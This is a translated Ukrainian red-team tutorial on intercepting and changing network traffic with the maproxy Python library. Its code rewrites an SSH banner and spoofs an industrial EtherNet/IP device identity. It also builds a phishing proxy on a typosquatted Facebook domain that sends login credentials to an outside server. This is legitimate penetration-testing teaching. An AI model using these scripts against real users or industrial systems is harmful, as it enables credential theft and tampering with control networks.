Обробка мережевих даних на льоту

Переклад статті підготовлений напередодні старту курсу «Пентест. Практика тестування на проникнення».

Обробка мережевих даних на льоту

Анотація

Різноманітні види оцінки безпеки, починаючи від регулярного тестування на проникнення та операцій Red Team до злому IoT/ICS-пристроїв та SCADA, мають на увазі під собою роботу з бінарними мережевими протоколами, тобто, по суті, перехоплення та модифікацію мережевих даних між клієнтом та метою. Сніффінг мережного трафіку не є складним завданням, оскільки у нас є такі інструменти, як Wireshark, Tcpdump або Scapy, проте модифікація є завданням більш трудомістким, оскільки нам потрібно буде мати своєрідний інтерфейс для читання даних мережі, їх фільтрації, зміни на льоту та відправки назад на цільовий хост майже як реального часу. Крім того, було б ідеально, якби такий інструмент міг автоматично працювати з кількома паралельними з'єднаннями та мав можливість кастомізації за допомогою скриптів.

Якось я відкрив для себе інструмент, який називається maproxy, документація швидко дала мені зрозуміти, що maproxy – саме те, що мені потрібне. Це досить простий, універсальний TCP-проксі, що легко настроюється. Я протестував цей інструмент на декількох досить складних додатках, включаючи ICS - пристрої (які генерують багато пакетів), щоб дізнатися, чи може він працювати з безліччю паралельних з'єднань, і інструмент добре показав себе.

Ця стаття познайомить вас з обробкою мережевих даних на льоту за допомогою maproxy.

Огляд

Інструмент maproxy заснований на Tornado – популярному та розвиненому асинхронному мережевому фреймворку на Python.

Загалом він може працювати в кількох режимах:

  • TCP:TCP - Незашифровані TCP-з'єднання;
  • TCP:SSL и SSL:TCP - З одностороннім шифруванням;
  • SSL:SSL – двостороннє шифрування.

Він постачається у вигляді бібліотеки. Для швидкого запуску ви можете скористатися прикладами файлів, які відображають основні функції бібліотеки:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Кейс 1 – простий двонаправлений проксі

Грунтуючись на tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

За замовчуванням ProxyServer() приймає два аргументи - місце підключення та цільовий порт. server.listen() приймає один аргумент – порт для прослуховування вхідного з'єднання.

Виконання скрипту:

# python tcp2tcp.py

Для того, щоб провести тест, ми збираємось підключитися до локального SSH-сервера через наш проксі-скрипт, який слухає на 2222/tcp порту та підключається до стандартного порту 22/tcp SSH-сервера:

Обробка мережевих даних на льоту

Вітальний банер повідомляє, що наш приклад скрипту успішно проксував мережевий трафік.

Кейс 2 – модифікація даних

Інший демо-скрипт logging_proxy.py ідеально підходить для взаємодії з мережевими даними. Коментарі у файлі описують методи класу, які можна модифікувати для досягнення своєї мети:

Обробка мережевих даних на льоту

Найцікавіше тут:

  • on_c2p_done_read – для перехоплення даних шляхом від клієнта до сервера;
  • on_p2s_done_read – у зворотний бік.

Давайте спробуємо змінити SSH-банер, який сервер повертає клієнту:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Виконайте скрипт:

Обробка мережевих даних на льоту

Як бачите, клієнт був введений в оману, оскільки для нього ім'я SSH-сервера було підмінено на «DumnySSH».

Обробка мережевих даних на льоту

Кейс 3 – проста фішингова веб-сторінка

Існує безліч варіантів використання цього інструменту. Цього разу давайте зосередимося на чомусь більш практичному в галузі операцій Red Team. Давайте наслідуватимемо лендинг m.facebook.com і скористаємося кастомним доменом з навмисною друкарською помилкою, наприклад, m.facebok.com. Для демонстрації просто припустимо, що домен зареєстрований нами.

Ми збираємося встановити незашифроване мережеве з'єднання з нашим проксі жертв і SSL Stream для сервера Facebook (31.13.81.36). Щоб цей приклад запрацював, нам потрібно замінити заголовок HTTP-хоста та впровадити коректне ім'я хоста, а ще ми відключимо стиснення відповідей, щоб отримати легкий доступ до їхнього вмісту. Зрештою ми замінимо HTML-форму, щоб облікові дані для входу відправлялися нам замість серверів Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/uk/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

У підсумку:

Обробка мережевих даних на льоту

Як бачите, ми успішно спромоглися підмінити оригінальний сайт.

Кейс 4 – Портим Ethernet/IP

Я досить довго мав справу з промисловими пристроями та програмним забезпеченням (ICS / SCADA), такими як програмовані контролери (PLC), модулі вводу-виводу, приводи, реле, сходові середовища програмування та багато іншого. Цей кейс для тих, кому подобається промислові штуки. Злом таких рішень має на увазі активну гру з мережевими протоколами. У наступному прикладі я хотів би показати, як ви можете модифікувати мережний трафік ICS/SCADA.

Для цього вам знадобиться таке:

  • Мережевий сніффер, наприклад, Wireshark;
  • Ethernet/IP або просто SIP-пристрій ви можете знайти його за допомогою сервісу Shodan;
  • Наш скрипт на основі maproxy.

Спочатку давайте подивимося, як виглядає типова ідентифікаційна відповідь від CIP (Common Industrial Protocol):

Обробка мережевих даних на льоту

Ідентифікація пристрою здійснюється за допомогою протоколу Ethernet/IP, який є розширеною версією протоколу Ethernet для промислових цілей, він обертає протоколи керування, такі як CIP. Ми збираємося змінити виділене ідентифікаційне ім'я, яке видно на скріншоті "NI-IndComm for Ethernet" за допомогою нашого проксі-скрипту. Ми могли б перевикористати скрипт logging_proxy.py та аналогічно модифікувати метод класу on_p2s_done_readоскільки ми хочемо, щоб на клієнті було видно інше ідентифікаційне ім'я.

Код:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

По суті, ми запросили ідентифікацію пристрою двічі, друга відповідь – оригінальна, а перша була модифікована на льоту.

І останнє

На мій погляд maproxy зручний і простий інструмент, який ще й написаний на Python, тому я вважаю, що ви теж можете отримати вигоду від його використання. Звичайно, існують і більш складні інструменти для обробки та зміни мережевих даних, однак вони також потребують більшої уваги та зазвичай створюються під конкретний сценарій використання, наприклад, Muraena, Модлішка або evilginx для кейсів, схожих на третій, або ж canape для останнього кейсу. Так чи інакше, за допомогою maproxy ви зможете швидко реалізувати свої ідеї щодо перехоплення мережевих даних, оскільки приклади скриптів дуже наочні.

Тестування механізмів автентифікації у Windows AD

Джерело: habr.com

Додати коментар або відгук